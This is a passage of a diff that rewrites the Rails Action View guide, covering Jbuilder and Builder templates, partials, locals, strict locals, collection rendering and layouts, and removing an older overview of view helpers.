-To suppress leading and trailing whitespaces, you can use `<%-` `-%>` interchangeably with `<%` and `%>`.
+The above example shows that comments can be added in ERB within `<%# %>` tag.
+
+To suppress leading and trailing whitespaces, you can use `<%-` `-%>`
+interchangeably with `<%` and `%>`.
+
+### Jbuilder
+
+`Jbuilder` is a gem that's maintained by the Rails team and included in the
+default Rails `Gemfile`. It is used to build JSON responses using templates.
+
+If you don't have it, you can add the following to your `Gemfile`:
+
+```ruby
+gem "jbuilder"
+```
+
+A `Jbuilder` object named `json` is automatically made available to templates
+with a `.jbuilder` extension.
+
+Here is a basic example:
+
+```ruby
+json.name("Alex")
+json.email("alex@example.com")
+```
+
+would produce:
+
+```json
+{
+  "name": "Alex",
+  "email": "alex@example.com"
+}
+```
+
+See the [Jbuilder documentation](https://github.com/rails/jbuilder#jbuilder) for
+more examples.
+
+### Builder
 
-#### Builder
+Builder templates are a more programmatic alternative to ERB. It's similar to
+`JBuilder` but is used to generate XML, instead of JSON.
 
-Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named `xml` is automatically made available to templates with a `.builder` extension.
+An `XmlMarkup` object named `xml` is automatically made available to templates
+with a `.builder` extension.
 
-Here are some basic examples:
+Here is a basic examples:
 
 ```ruby
 xml.em("emphasized")
 xml.em { xml.b("emph & bold") }
-xml.a("A Link", "href" => "http://rubyonrails.org")
+xml.a("A Link", "href" => "https://rubyonrails.org")
 xml.target("name" => "compile", "option" => "fast")
 ```
 
@@ -100,11 +190,12 @@ which would produce:
 ```html
 <em>emphasized</em>
 <em><b>emph &amp; bold</b></em>
-<a href="http://rubyonrails.org">A link</a>
+<a href="https://rubyonrails.org">A link</a>
 <target option="fast" name="compile" />
 ```
 
-Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+Any method with a block will be treated as an XML markup tag with nested markup
+in the block. For example, the following:
 
 ```ruby
 xml.div {
@@ -122,139 +213,212 @@ would produce something like:
 </div>
 ```
 
-Below is a full-length RSS example actually used on Basecamp:
+See [Builder documentation](https://github.com/rails/builder) for more examples.
 
-```ruby
-xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
-  xml.channel do
-    xml.title(@feed_title)
-    xml.link(@url)
-    xml.description "Basecamp: Recent items"
-    xml.language "en-us"
-    xml.ttl "40"
-
-    for item in @recent_items
-      xml.item do
-        xml.title(item_title(item))
-        xml.description(item_description(item)) if item_description(item)
-        xml.pubDate(item_pubDate(item))
-        xml.guid(@person.firm.account.url + @recent_items.url(item))
-        xml.link(@person.firm.account.url + @recent_items.url(item))
-        xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
-      end
-    end
-  end
-end
-```
+### Template Compilation
 
-#### Jbuilder
-[Jbuilder](https://github.com/rails/jbuilder) is a gem that's
-maintained by the Rails team and included in the default Rails Gemfile.
-It's similar to Builder, but is used to generate JSON, instead of XML.
+By default, Rails will compile each template to a method to render it. In the
+development environment, when you alter a template, Rails will check the file's
+modification time and recompile it.
 
-If you don't have it, you can add the following to your Gemfile:
+There is also Fragment Caching for when different parts of the page need to be
+cached and expired separately. Learn more about it in the [caching
+guide](caching_with_rails.html#fragment-caching).
 
-```ruby
-gem 'jbuilder'
-```
+Partials
+--------
 
-A Jbuilder object named `json` is automatically made available to templates with
-a `.jbuilder` extension.
+Partial templates - usually just called "partials" - are a way of breaking up
+the view templates into smaller reusable chunks. With partials, you can extract
+a piece of code from your main template to a separate smaller file, and render
+that file in the main template. You can also pass data to the partial files from
+the main template.
 
-Here is a basic example:
+Let's see this in action with some examples:
 
-```ruby
-json.name("Alex")
-json.email("alex@example.com")
+### Rendering Partials
+
+To render a partial as part of a view, you use the
+[`render`](https://api.rubyonrails.org/classes/ActionView/Helpers/RenderingHelper.html#method-i-render)
+method within the view:
+
+```erb
+<%= render "product" %>
 ```
 
-would produce:
+This will look for a file named `_product.html.erb` in the same folder to render
+within that view. Partial file names start with leading underscore character by
+convention. The file name distinguishes partials from regular views. However, no
+underscore is used when referring to partials for rendering within a view. This
+is true even when you reference a partial from another directory:
 
-```json
-{
-  "name": "Alex",
-  "email": "alex@example.com"
-}
+```erb
+<%= render "application/product" %>
 ```
 
-See the [Jbuilder documentation](https://github.com/rails/jbuilder#jbuilder) for
-more examples and information.
+That code will look for and display a partial file named `_product.html.erb` in
+`app/views/application/`.
+
+### Using Partials to Simplify Views
+
+One way to use partials is to treat them as the equivalent of methods. A way to
+move details out of a view so that you can grasp what's going on more easily.
+For example, you might have a view that looks like this:
+
+```html+erb
+<%= render "application/ad_banner" %>
+
+<h1>Products</h1>
 
-#### Template Caching
+<p>Here are a few of our fine products:</p>
+<% @products.each do |product| %>
+  <%= render partial: "product", locals: { product: product } %>
+<% end %>
 
-By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
+<%= render "application/footer" %>
+```
 
-### Partials
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain
+content that is shared among many pages in your application. You don't need to
+see the details of these sections when you're focused on a Products' page.
 
-Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.
+The above example also uses the `_product.html.erb` partial. This partial
+contains details for rendering an individual product and is used to render each
+product in the collection `@products`.
 
-#### Naming Partials
+### Passing Data to Partials with `locals` Option
 
-To render a partial as part of a view, you use the `render` method within the view:
+When rendering a partial, you can pass data to the partial from the rendering
+view. You use the `locals:` options hash for this. Each key in the `locals:`
+option is available as a partial-local variable:
 
-```erb
-<%= render "menu" %>
+```html+erb
+<%# app/views/products/show.html.erb %>
+
+<%= render partial: "product", locals: { my_product: @product } %>
+
+<%# app/views/products/_product.html.erb %>
+
+<%= tag.div id: dom_id(my_product) do %>
+  <h1><%= my_product.name %></h1>
+<% end %>
 ```
 
-This will render a file named `_menu.html.erb` at that point within the view that is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+A "partial-local variable" is a variable that is local to a given partial and
+only available from within that partial. In the above example, `my_product` is a
+partial-local variable. It was assigned the value of `@product` when passed to
+the partial from the original view.
 
-```erb
-<%= render "shared/menu" %>
+Note that typically we'd simply call this local variable `product`. We are using
+`my_product` to distinguish it from the instance variable name and template name
+in this example.
+
+Since `locals` is a hash, you can pass in multiple variables as needed, like
+`locals: { my_product: @product, my_reviews: @reviews }`.
+
+However, if a template refers to a variable that *isn't* passed into the view as
+part of the `locals:` option, the template will raise an
+`ActionView::Template::Error`:
+
+```html+erb
+<%# app/views/products/_product.html.erb %>
+
+<%= tag.div id: dom_id(my_product) do %>
+  <h1><%= my_product.name %></h1>
+
+  <%# => raises ActionView::Template::Error for `product_reviews` %>
+  <% product_reviews.each do |review| %>
+    <%# ... %>
+  <% end %>
+<% end %>
 ```
 
-That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+### Using `local_assigns`
 
-#### Using Partials to simplify Views
+Each partial has a method called [local_assigns][] available. You can use this
+method to access keys passed via the `locals:` option. If a partial was not
+rendered with `:some_key` set, the value of `local_assigns[:some_key]` will be
+`nil` within the partial.
 
-One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:
+For example, `product_reviews` is `nil` in the below example since only
+`product` is set in `locals:`:
 
 ```html+erb
-<%= render "shared/ad_banner" %>
+<%# app/views/products/show.html.erb %>
 
-<h1>Products</h1>
+<%= render partial: "product", locals: { product: @product } %>
 
-<p>Here are a few of our fine products:</p>
-<% @products.each do |product| %>
-  <%= render partial: "product", locals: { product: product } %>
+<%# app/views/products/_product.html.erb %>
+
+<% local_assigns[:product]          # => "#<Product:0x0000000109ec5d10>" %>
+<% local_assigns[:product_reviews]  # => nil %>
+```
+
+One use case for `local_assigns` is optionally passing in a local variable and
+then conditionally performing an action in the partial based on whether the
+local variable is set. For example:
+
+```html+erb
+<% if local_assigns[:redirect] %>
+  <%= form.hidden_field :redirect, value: true %>
 <% end %>
+```
+
+Another example from Active Storage's `_blob.html.erb`. This one sets the size
+based on whether `in_gallery` local variable is set when rendering the partial
+that contains this line:
 
-<%= render "shared/footer" %>
+```html+erb
+<%= image_tag blob.representation(resize_to_limit: local_assigns[:in_gallery] ? [ 800, 600 ] : [ 1024, 768 ]) %>
 ```
 
-Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+### `render` without `partial` and `locals` Options
 
-#### `render` without `partial` and `locals` options
+In the above examples, `render` takes 2 options: `partial` and `locals`. But if
+these are the only options you need to use, you can skip the keys, `partial` and
+`locals`, and specify the values only.
 
-In the above example, `render` takes 2 options: `partial` and `locals`. But if
-these are the only options you want to pass, you can skip using these options.
 For example, instead of:
 
 ```erb
 <%= render partial: "product", locals: { product: @product } %>
 ```
 
-You can also do:
+You can write:
 
 ```erb
 <%= render "product", product: @product %>
 ```
 
-#### The `as` and `object` options
+You can also use this shorthand based on conventions:
+
+```erb
+<%= render @product %>
+```
+
+This will look for a partial named `_product.html.erb` in `app/views/products/`,
+as well as pass a local named `product` set to the value `@product`.
+
 
-By default `ActionView::Partials::PartialRenderer` has its object in a local variable with the same name as the template. So, given:
+### The `as` and `object` Options
+
+By default, objects passed to the template are in a local variable with the same
+name as the template. So, given:
 
 ```erb
-<%= render partial: "product" %>
+<%= render @product %>
 ```
 
-within `_product` partial we'll get `@product` in the local variable `product`,
-as if we had written:
+within the `_product.html.erb` partial you'll get `@product` instance variable
+in the local variable `product`, as if you had written:
 
 ```erb
 <%= render partial: "product", locals: { product: @product } %>
 ```
 
-The `object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (e.g. in a different instance variable or in a local variable).
+The `object` option can be used to specify a different name. This is useful when
+the template's object is elsewhere (e.g. in a different instance variable or in
+a local variable).
 
 For example, instead of:
 
@@ -262,13 +426,18 @@ For example, instead of:
 <%= render partial: "product", locals: { product: @item } %>
 ```
 
-we would do:
+you can write:
 
 ```erb
 <%= render partial: "product", object: @item %>
 ```
 
-With the `as` option we can specify a different name for the said local variable. For example, if we wanted it to be `item` instead of `product` we would do:
+This assigns the instance variable `@item` to a partial local variable named
+`product`. What if you wanted to change the local variable name from the default
+`product` to something else? You can use the `:as` option for that.
+
+With the `as` option, you can specify a different name for the local variable
+like this:
 
 ```erb
 <%= render partial: "product", object: @item, as: "item" %>
@@ -280,9 +449,12 @@ This is equivalent to
 <%= render partial: "product", locals: { item: @item } %>
 ```
 
-#### Rendering Collections
+### Rendering Collections
 
-It is very common that a template will need to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.
+It's common for a view to iterate over a collection, such as `@products`, and
+render a partial template for each object in the collection. This pattern has
+been implemented as a single method that accepts an array and renders a partial
+for each one of the elements in the array.
 
 So this example for rendering all the products:
 
@@ -298,1246 +470,418 @@ can be rewritten in a single line:
 <%= render partial: "product", collection: @products %>
 ```
 
-When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the collection member that is being rendered.
+When a partial is called with a collection, the individual instances of the
+partial have access to the member of the collection being rendered via a
+variable named after the partial. In this case, since the partial is
+`_product.html.erb`, you can use `product` to refer to the collection member
+that is being rendered.
 
-You can use a shorthand syntax for rendering collections. Assuming `@products` is a collection of `Product` instances, you can simply write the following to produce the same result:
+You can also use the following conventions based shorthand syntax for rendering
+collections.
 
 ```erb
 <%= render @products %>
 ```
 
-Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection.
+The above assumes that `@products` is a collection of `Product` instances. Rails
+uses naming conventions to determine the name of the partial to use by looking
+at the model name in the collection, `Product` in this case. In fact, you can
+even render a collection made up of instances of different models using this
+shorthand, and Rails will choose the proper partial for each member of the
+collection.
 
-#### Spacer Templates
+### Spacer Templates
 
-You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+You can also specify a second partial to be rendered between instances of the
+main partial by using the `:spacer_template` option:
 
 ```erb
 <%= render partial: @products, spacer_template: "product_ruler" %>
 ```
 
-Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
+Rails will render the `_product_ruler.html.erb` partial (with no data passed to
+it) between each pair of `_product.html.erb` partials.
 
-### Layouts
+### Counter Variables
 
-Layouts can be used to render a common view template around the results of Rails controller actions. Typically, a Rails application will have a couple of layouts that pages will be rendered within. For example, a site might have one layout for a logged in user and another for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. You would expect each layout to have a different look and feel. You can read about layouts in more detail in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
-
-Partial Layouts
----------------
-
-Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion.
-
-Let's say we're displaying an article on a page which should be wrapped in a `div` for display purposes. Firstly, we'll create a new `Article`:
-
-```ruby
-Article.create(body: 'Partial Layouts are cool!')
-```
-
-In the `show` template, we'll render the `_article` partial wrapped in the `box` layout:
-
-**articles/show.html.erb**
+Rails also makes a counter variable available within a partial called by the
+collection. The variable is named after the title of the partial followed by
+`_counter`. For example, when rendering a collection `@products` the partial
+`_product.html.erb` can access the variable `product_counter`. The variable
+indexes the number of times the partial has been rendered within the enclosing
+view, starting with a value of `0` on the first render.
 
 ```erb
-<%= render partial: 'article', layout: 'box', locals: { article: @article } %>
-```
-
-The `box` layout simply wraps the `_article` partial in a `div`:
-
-**articles/_box.html.erb**
-
-```html+erb
-<div class='box'>
-  <%= yield %>
-</div>
+<%# index.html.erb %>
+<%= render partial: "product", collection: @products %>
 ```
 
-Note that the partial layout has access to the local `article` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
-
-You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_article` partial, we could do this instead:
-
-**articles/show.html.erb**
-
-```html+erb
-<% render(layout: 'box', locals: { article: @article }) do %>
-  <div>
-    <p><%= article.body %></p>
-  </div>
-<% end %>
+```erb
+<%# _product.html.erb %>
+<%= product_counter %> # 0 for the first product, 1 for the second product...
 ```
 
-Supposing we use the same `_box` partial from above, this would produce the same output as the previous example.
-
-View Paths
-----------
-
-When rendering a response, the controller needs to resolve where the different
-views are located. By default it only looks inside the `app/views` directory.
-
-We can add other locations and give them a certain precedence when resolving
-paths using the `prepend_view_path` and `append_view_path` methods.
-
-### Prepend view path
+This also works when the local variable name is changed using the `as:` option.
+So if you did `as: :item`, the counter variable would be `item_counter`.
 
-This can be helpful for example, when we want to put views inside a different
-directory for subdomains.
+NOTE: When rendering collections with instances of different models, the counter variable increments for each partial, regardless of the class of the model being rendered.
 
-We can do this by using:
+Note: The following two sections, [Strict Locals](#strict-locals) and [Local
+Assigns with Pattern Matching](#local-assigns-with-pattern-matching) are more
+advanced features of using partials, included here for completeness.
 
-```ruby
-prepend_view_path "app/views/#{request.subdomain}"
-```
-
-Then Action View will look first in this directory when resolving views.
-
-### Append view path
+### `local_assigns` with Pattern Matching
 
-Similarly, we can append paths:
+Since `local_assigns` is a `Hash`, it's compatible with [Ruby 3.1's pattern
+matching assignment
+operator](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html):
 
 ```ruby
-append_view_path "app/views/direct"
+local_assigns => { product:, **options }
+product # => "#<Product:0x0000000109ec5d10>"
+options # => {}
 ```
 
-This will add `app/views/direct` to the end of the lookup paths.
+When keys other than `:product` are assigned into a partial-local `Hash`
+variable, they can be splatted into helper method calls:
 
-Overview of helpers provided by Action View
--------------------------------------------
-
-WIP: Not all the helpers are listed here. For a full list see the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html)
-
-The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the [API Documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html), which covers all of the helpers in more detail, but this should serve as a good starting point.
+```html+erb
+<%# app/views/products/_product.html.erb %>
 
-### AssetTagHelper
+<% local_assigns => { product:, **options } %>
 
-This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
+<%= tag.div id: dom_id(product), **options do %>
+  <h1><%= product.name %></h1>
+<% end %>
 
-By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`:
+<%# app/views/products/show.html.erb %>
 
-```ruby
-config.action_controller.asset_host = "assets.example.com"
-image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+<%= render "products/product", product: @product, class: "card" %>
+<%# => <div id="product_1" class="card">
+  #      <h1>A widget</h1>
+  #    </div>
+%>
 ```
 
-#### auto_discovery_link_tag
-
-Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed.
+Pattern matching assignment also supports variable renaming:
 
 ```ruby
-auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) # =>
-  <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />
+local_assigns => { product: record }
+product             # => "#<Product:0x0000000109ec5d10>"
+record              # => "#<Product:0x0000000109ec5d10>"
+product == record   # => true
 ```
 
-#### image_path
+You can also conditionally read a variable, then fall back to a default value
+when the key isn't part of the `locals:` options, using `fetch`:
 
-Computes the path to an image asset in the `app/assets/images` directory. Full paths from the document root will be passed through. Used internally by `image_tag` to build the image path.
+```html+erb
+<%# app/views/products/_product.html.erb %>
 
-```ruby
-image_path("edit.png") # => /assets/edit.png
+<% local_assigns.fetch(:related_products, []).each do |related_product| %>
+  <%# ... %>
+<% end %>
 ```
 
-Fingerprint will be added to the filename if config.assets.digest is set to true.
+Combining Ruby 3.1's pattern matching assignment with calls to
+[Hash#with_defaults](https://api.rubyonrails.org/classes/Hash.html#method-i-with_defaults)
+enables compact partial-local default variable assignments:
 
-```ruby
-image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
-```
+```html+erb
+<%# app/views/products/_product.html.erb %>
 
-#### image_url
+<% local_assigns.with_defaults(related_products: []) => { product:, related_products: } %>
 
-Computes the URL to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host.
+<%= tag.div id: dom_id(product) do %>
+  <h1><%= product.name %></h1>
 
-```ruby
-image_url("edit.png") # => http://www.example.com/assets/edit.png
+  <% related_products.each do |related_product| %>
+    <%# ... %>
+  <% end %>
+<% end %>
 ```
 
-#### image_tag
-
-Returns an HTML image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
+[local_assigns]:
+    https://api.rubyonrails.org/classes/ActionView/Template.html#method-i-local_assigns
 
-```ruby
-image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
-```
+### Strict Locals
 
-#### javascript_include_tag
+Action View partials are compiled into regular Ruby methods under the hood.
+Because it is impossible in Ruby to dynamically create local variables, every single combination of `locals` passed to
+a partial requires compiling another version:
 
-Returns an HTML script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
-
-```ruby
-javascript_include_tag "common" # => <script src="/assets/common.js"></script>
+```html+erb
+<%# app/views/articles/show.html.erb %>
+<%= render partial: "article", layout: "box", locals: { article: @article } %>
+<%= render partial: "article", layout: "box", locals: { article: @article, theme: "dark" } %>
 ```
 
-If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass `:defaults` as the source. When using `:defaults`, if an `application.js` file exists in your `app/assets/javascripts` directory, it will be included as well.
+The above snippet will cause the partial to be compiled twice, taking more time and using more memory.
 
 ```ruby
-javascript_include_tag :defaults
-```
-
-You can also include all JavaScript files in the `app/assets/javascripts` directory using `:all` as the source.
+def _render_template_2323231_article_show(buffer, local_assigns, article:)
+  # ...
+end
 
-```ruby
-javascript_include_tag :all
+def _render_template_3243454_article_show(buffer, local_assigns, article:, theme:)
+  # ...
+end
 ```
 
-You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if `ActionController::Base.perform_caching` is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+When the number of combinations is small, it's not really a problem, but if it's large it can waste
+a sizeable amount of memory and take a long time to compile. To counter act this you can use
+strict locals to define the compiled partial signature, and ensure only a single version of the partial is compiled:
 
-```ruby
-javascript_include_tag :all, cache: true # =>
-  <script src="/javascripts/all.js"></script>
+```html+erb
+<%# locals: (article:, theme: "light") -%>
+...
 ```
 
-#### javascript_path
+You can enforce how many and which `locals` a template accepts, set default
+values, and more with a `locals:` signature, using the same syntax as Ruby method signatures.
 
-Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path.
+Here are some examples of the `locals:` signature:
 
-```ruby
-javascript_path "common" # => /assets/common.js
-```
-
-#### javascript_url
-
-Computes the URL to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host.
+```html+erb
+<%# app/views/messages/_message.html.erb %>
 
-```ruby
-javascript_url "common" # => http://www.example.com/assets/common.js
+<%# locals: (message:) -%>
+<%= message %>
 ```
 
-#### stylesheet_link_tag
-
-Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically.
+The above makes `message` a required local variable. Rendering the partial
+without a `:message` local variable argument will raise an exception:
 
 ```ruby
-stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />
+render "messages/message"
+# => ActionView::Template::Error: missing local: :message for app/views/messages/_message.html.erb
 ```
 
-You can also include all styles in the stylesheet directory using `:all` as the source:
-
-```ruby
-stylesheet_link_tag :all
-```
+If a default value is set then it can be used if `message` is not passed in
+`locals:`:
 
-You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+```erb
+<%# app/views/messages/_message.html.erb %>
 
-```ruby
-stylesheet_link_tag :all, cache: true
-# => <link href="/assets/all.css" media="screen" rel="stylesheet" />
+<%# locals: (message: "Hello, world!") -%>
+<%= message %>
 ```
 
-#### stylesheet_path
-
-Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, `.css` will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
+Rendering the partial without a `:message` local variable uses the default value
+set in the `locals:` signature:
 
 ```ruby
-stylesheet_path "application" # => /assets/application.css
+render "messages/message"
+# => "Hello, world!"
 ```
 
-#### stylesheet_url
-
-Computes the URL to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host.
+Rendering the partial with local variables not specified in the `local:` signature will also raise an exception:
 
 ```ruby
-stylesheet_url "application" # => http://www.example.com/assets/application.css
+render "messages/message", unknown_local: "will raise"
+# => ActionView::Template::Error: unknown local: :unknown_local for app/views/messages/_message.html.erb
 ```
 
-### AtomFeedHelper
+You can allow optional local variable arguments with the double splat `**`
+operator:
 
-#### atom_feed
-
-This helper makes building an Atom feed easy. Here's a full usage example:
+```erb
 
-**config/routes.rb**
+<%# app/views/messages/_message.html.erb %>
 
-```ruby
-resources :articles
+<%# locals: (message: "Hello, world!", **attributes) -%>
+<%= tag.p(message, **attributes) %>
 ```
 
-**app/controllers/articles_controller.rb**
+Or you can disable `locals` entirely by setting the `locals:` to empty `()`:
 
-```ruby
-def index
-  @articles = Article.all
+```erb
+<%# app/views/messages/_message.html.erb %>
 
-  respond_to do |format|
-    format.html
-    format.atom
-  end
-end
+<%# locals: () %>
 ```
 
-**app/views/articles/index.atom.builder**
+Rendering the partial with *any* local variable arguments will raise an
+exception:
 
 ```ruby
-atom_feed do |feed|
-  feed.title("Articles Index")
-  feed.updated(@articles.first.created_at)
-
-  @articles.each do |article|
-    feed.entry(article) do |entry|
-      entry.title(article.title)
-      entry.content(article.body, type: 'html')
-
-      entry.author do |author|
-        author.name(article.author_name)
-      end
-    end
-  end
-end
-```
-
-### BenchmarkHelper
-
-#### benchmark
-
-Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
-
-```html+erb
-<% benchmark "Process data files" do %>
-  <%= expensive_files_operation %>
-<% end %>
+render "messages/message", unknown_local: "will raise"
+# => ActionView::Template::Error: no locals accepted for app/views/messages/_message.html.erb
 ```
 
-This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
+Action View will process the `locals:` signature in any templating engine
+that supports `#`-prefixed comments, and will read the signature from any
+line in the partial.
 
-### CacheHelper
+CAUTION: Only keyword arguments are supported. Defining positional or block
+arguments will raise an Action View Error at render-time.
 
-#### cache
-
-A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `AbstractController::Caching::Fragments` for more information.
+The `local_assigns` method does not contain default values specified in the
+`local:` signature. To access a local variable with a default value that
+is named the same as a reserved Ruby keyword, like `class` or `if`, the values
+can be accessed through `binding.local_variable_get`:
 
 ```erb
-<% cache do %>
-  <%= render "shared/footer" %>
-<% end %>
-```
-
-### CaptureHelper
-
-#### capture
-
-The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
-
-```html+erb
-<% @greeting = capture do %>
-  <p>Welcome! The date and time is <%= Time.now %></p>
-<% end %>
+<%# locals: (class: "message") %>
+<div class="<%= binding.local_variable_get(:class) %>">...</div>
 ```
 
-The captured variable can then be used anywhere else.
+Layouts
+-------
 
-```html+erb
-<html>
-  <head>
-    <title>Welcome!</title>
-  </head>
-  <body>
-    <%= @greeting %>
-  </body>
-</html>
-```
+Layouts can be used to render a common view template around the results of Rails
+controller actions. A Rails application can have multiple layouts that pages can
+be rendered within.
 
-#### content_for
+For example, an application might have one layout for a logged in user and
+another for the marketing part of the site. The logged in user layout might
+include top-level navigation that should be present across many controller
+actions. The sales layout for a SaaS app might include top-level navigation for
+things like "Pricing" and "Contact Us" pages. Different layouts can have a
+different header and footer content.
 
-Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`.
+To find the layout for the current controller action, Rails first looks for a
+file in `app/views/layouts` with the same base name as the controller. For
+example, rendering actions from the `ProductsController` class will use
+`app/views/layouts/products.html.erb`.
 
-For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site.
+Rails will use `app/views/layouts/application.html.erb` if a controller-specific layout does not exist.
 
-**app/views/layouts/application.html.erb**
+Here is an example of a simple layout in `application.html.erb` file:
 
 ```html+erb
+<!DOCTYPE html>
 <html>
-  <head>
-    <title>Welcome!</title>
-    <%= yield :special_script %>
-  </head>
-  <body>
-    <p>Welcome! The date and time is <%= Time.now %></p>
-  </body>
-</html>
-```
-
-**app/views/articles/special.html.erb**
-
-```html+erb
-<p>This is a special page.</p>
-
-<% content_for :special_script do %>
-  <script>alert('Hello!')</script>
-<% end %>
-```
-
-### DateHelper
+<head>
+  <title><%= "Your Rails App" %></title>
+  <%= csrf_meta_tags %>
+  <%= csp_meta_tag %>
+  <%= stylesheet_link_tag "application", "data-turbo-track": "reload" %>
+  <%= javascript_importmap_tags %>
+</head>
+<body>
 
-#### date_select
+<nav>
+  <ul>
+    <li><%= link_to "Home", root_path %></li>
+    <li><%= link_to "Products", products_path %></li>
+    <!-- Additional navigation links here -->
+  </ul>
+</nav>
 
-Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
+<%= yield %>
 
-```ruby
-date_select("article", "published_on")
-```
-
-#### datetime_select
-
-Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
-
-```ruby
-datetime_select("article", "published_on")
-```
-
-#### distance_of_time_in_words
-
-Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations.
-
-```ruby
-distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # => less than a minute
-distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true)  # => less than 20 seconds
+<footer>
+  <p>&copy; <%= Date.current.year %> Your Company</p>
+</footer>
 ```
 
-#### select_date
-
-Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the `date` provided.
+In the above example layout, view content will be rendered in place of `<%=
+yield %>`, and surrounded by the same `<head>`, `<nav>`, and `<footer>` content.
 
-```ruby
-# Generates a date select that defaults to the date provided (six days after today)
-select_date(Time.today + 6.days)
+Rails provides more ways to assign specific layouts to individual controllers
+and actions. You can learn more about layouts in general in the [Layouts and
+Rendering in Rails](layouts_and_rendering.html) guide.
 
-# Generates a date select that defaults to today (no specified date)
-select_date()
-```
+### Partial Layouts
 
-#### select_datetime
+Partials can have their own layouts applied to them. These layouts are different
+from those applied to a controller action, but they work in a similar fashion.
 
-Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.
+Let's say you're displaying an article on a page which should be wrapped in a
+`div` for display purposes. First, you'll create a new `Article`:
 
 ```ruby
-# Generates a datetime select that defaults to the datetime provided (four days after today)
-select_datetime(Time.now + 4.days)
-
-# Generates a datetime select that defaults to today (no specified datetime)
-select_datetime()
